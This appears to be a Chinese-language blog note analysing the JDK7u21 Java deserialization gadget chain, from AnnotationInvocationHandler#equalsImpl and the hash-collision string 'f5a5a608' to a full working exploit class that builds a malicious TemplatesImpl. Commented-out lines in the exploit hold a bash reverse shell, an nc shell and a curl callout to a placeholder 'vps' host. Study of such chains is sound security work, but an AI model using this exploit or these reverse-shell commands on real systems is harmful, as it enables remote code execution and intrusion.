前言
比较老的链子,随便记录一下细节吧
这是一条完全不需要依赖第三方库的链子,坏处就是版本太老
参考:
《Java 安全漫谈》
环境
jdk7u21
原理
反序列化的核心点在于触发动态方法执行的地方
对于 CC 链来说,反序列化的核心点在 InvokerTransformer 或 InstantiateTransformer
对于 CB 链来说,反序列化的核心点在 PropertyUtils#getProperty,因为它能够触发任意对象的 getter
而对于 JDK7u21 链来说,反序列化的核心点在 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
此前在 CC1 就已经提到过这个类,当时只用到它可以触发 Map#put 、 Map#get 的特点
这里我们使用的是 equalsImpl 方法
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
for(Method var5 : this.getMemberMethods()) {
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
可以发现在这个方法里其实是有个明显的反射调用 memberMethod.invoke(var1),而 memberMethod 来源于 getMemberMethods 方法
也就是说 equalsImpl 这个方法会将 this.type 类中的所有方法遍历并执行。那么,假设 this.type 是 Templates 类,则势必会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行
调用 equalsImpl
所以我们需要通过反序列化调用 equalsImpl,这是一个私有方法,向上查找可以找到在 sun.reflect.annotation.AnnotationInvocationHandler#invoke 进行了调用
此事在 CC1 中亦有记载,需要通过动态代理来调用这个方法,看一下 AnnotationInvocationHandler 这个 InvocationHandler 接口的 invoke 方法:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
当方法名等于 "equals",且仅有一个 Object 类型参数时,会调用到equalsImpl 方法
那么我们需要找到一个方法,在反序列化时对 proxy 调用 equals 方法
调用 equals
比较 java 对象时,我们常用 equals 和 compareTo
任意Java对象都拥有 equals 方法,它通常用于比较两个对象是否是同一个引用;而 compareTo 实际上是 java.lang.Comparable 接口的方法,通常被实现用于比较两个对象的值是否相等。
一个常见的调用 equals 的场景就是集合set,set 中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作
观察 HashSet 类的 readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
此处使用了 HashMap 将对象保存在 HashMap 的 key 进行去重
在数据结构中,哈希表是由数组+链表实现的:
哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到;数组的值是一个链表
所有哈希碰撞到相同索引的 key-value,都会被链接到这个链表后面

所以为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被连接到同一条
链表上,才会进行比较
观察 HashMap#put
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
此处的变量 i 即为所谓的哈希,两个不同的对象的 i 相等时,才会执行到 key.equals(k) 从而触发上面的代码执行
接下来就需要让 proxy 对象的“哈希”,等于 TemplateImpl 对象的“哈希”
Magic Number
计算哈希的逻辑:
int hash = hash(key);
int i = indexFor(hash, table.length);
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
除了 key.hashCode() 外再没有其他变量,所以 proxy 对象与 TemplateImpl 对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。
TemplateImpl 的 hashCode() 是一个Native方法,每次运行都会发生变化,理论上无法预测
只能从 proxy 对象入手,proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
for(Map.Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
}
return var1;
}
遍历 memberValues 这个 Map 中的每个 key 和 value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和
而 jdk7u21 中的处理十分巧妙:
- 当 memberValues 中只有一个 key 和一个 value 时,该哈希简化成
(127 * key.hashCode()) ^ value.hashCode() - 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode()。 - 当 value 就是 TemplateImpl 对象时,这两个哈希就变成完全相等
所以,只需要找到一个 hashCode 是 0 的对象作为 memberValues 的 key,将恶意 TemplateImpl 对象作为 value,这个 proxy 计算的 hashCode 就与 TemplateImpl 对象本身的 hashCode 相等了
爆破可得到这个字符串为 f5a5a608
利用链
exp:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class equalsImplChain {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(equalsImplChain.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// objectObjectHashMap.put(tempHandler,"");
// objectObjectHashMap.put(proxy,"");
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] GenerateEvil() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
String plateform = System.getProperties().getProperty("os.name");
String command = "";
if(command.isEmpty()){
if (plateform.contains("Windows")){
command = "calc.exe";
}else if (plateform.contains("Linux")){
command = "xcalc";
}else if (plateform.contains("Mac")){
command = "open -a Calculator";
}
}
constructor.setBody("Runtime.getRuntime().exec(\""+command+"\");");
// constructor.setBody("Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/vps/23333 0>&1\");");
// constructor.setBody("Runtime.getRuntime().exec(\"nc vps 23333 -e /bin/sh\");");
// constructor.setBody("Runtime.getRuntime().exec(\"curl vps:23333\");");
ctClass.addConstructor(constructor);
// return cleanBytecode(ctClass.toBytecode());
return ctClass.toBytecode();
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "");
setFieldValue(templates, "_tfactory", null);
return templates;
}
}